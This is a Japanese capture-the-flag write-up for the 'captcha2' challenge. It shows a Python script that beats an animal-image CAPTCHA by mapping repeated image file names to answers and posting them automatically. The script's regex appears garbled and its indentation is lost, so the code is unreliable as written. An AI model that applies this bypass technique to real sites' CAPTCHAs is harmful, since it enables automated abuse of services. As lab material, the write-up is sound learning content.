Rating:

URLが張ってないので、同じ問題にもう一つフラグが隠されているのか…?と思ったが、単にリンクが張られてないだけだった。
前問が https://captcha1.uctf.ir/ だったので、https://captcha2.uctf.ir/ に行くとサイトがあった。
今回は画像を読み取って動物の種類を答える問題。

画像は同じ画像が結構使われていて、ファイル名は一意っぽい。
レパートリーも少なそうなので、ファイル名で辞書を作って答えていこう。
以下のようなスクリプトで辞書を作りながら動かして検証を100回通せばフラグがもらえる。

```python
import requests
import re
import base64

BASE_URL = 'https://captcha2.uctf.ir'
INIT_SESSID = '0pfvielcd3h230l85piu1beihr'

cookies = {
'PHPSESSID': INIT_SESSID,
'f873062f0559114b30a8e84091decac1' : '47c7b54c28039b0e99ddb4f2c37825a1'
}

dic = {
'C29E4D9C8824409119EAA8BA182051B89121E663.jpeg': 'falcon',
'73335C221018B95C013FF3F074BD9E8550E8D48E.jpeg': 'penguin',
'6D0EBBBDCE32474DB8141D23D2C01BD9628D6E5F.jpeg': 'rabbit',
'148627088915C721CCEBB4C611B859031037E6AD.jpeg': 'snake',
'09F5EDEB4F5B2A4E4364F6B654682C6758A3FA16.jpeg': 'bear',
'9D989E8D27DC9E0EC3389FC855F142C3D40F0C50.jpeg': 'cat',
'091B5035885C00170FEC9ECF24224933E3DE3FCC.jpeg': 'horse',
'5ECE240085B9AD85B64896082E3761C54EF581DE.jpeg': 'duck',
'9E05E6832CAFFCA519722B608570B8FF4935B94D.jpeg': 'mouse',
'FF0F0A8B656F0B44C26933ACD2E367B6C1211290.jpeg': 'fox',
'E49512524F47B4138D850C9D9D85972927281DA0.jpeg': 'dog',
}

t = requests.get(BASE_URL + '/', cookies=cookies).text
r = re.search(r'\s*', t)
img1 = r[1]
img2 = r[2]

for i in range(300):
print(i)
if not img1 in dic:
print(BASE_URL + '/' + img1)
exit(0)
if not img2 in dic:
print(BASE_URL + '/' + img2)
exit(0)
t = requests.post(BASE_URL + '/', data={'captcha': dic[img1] + '-' + dic[img2]}, cookies=cookies).text
r = re.search(r'\s*', t)
img1 = r[1]
img2 = r[2]
```

Original writeup (https://blog.hamayanhamayan.com/entry/2023/09/04/232413).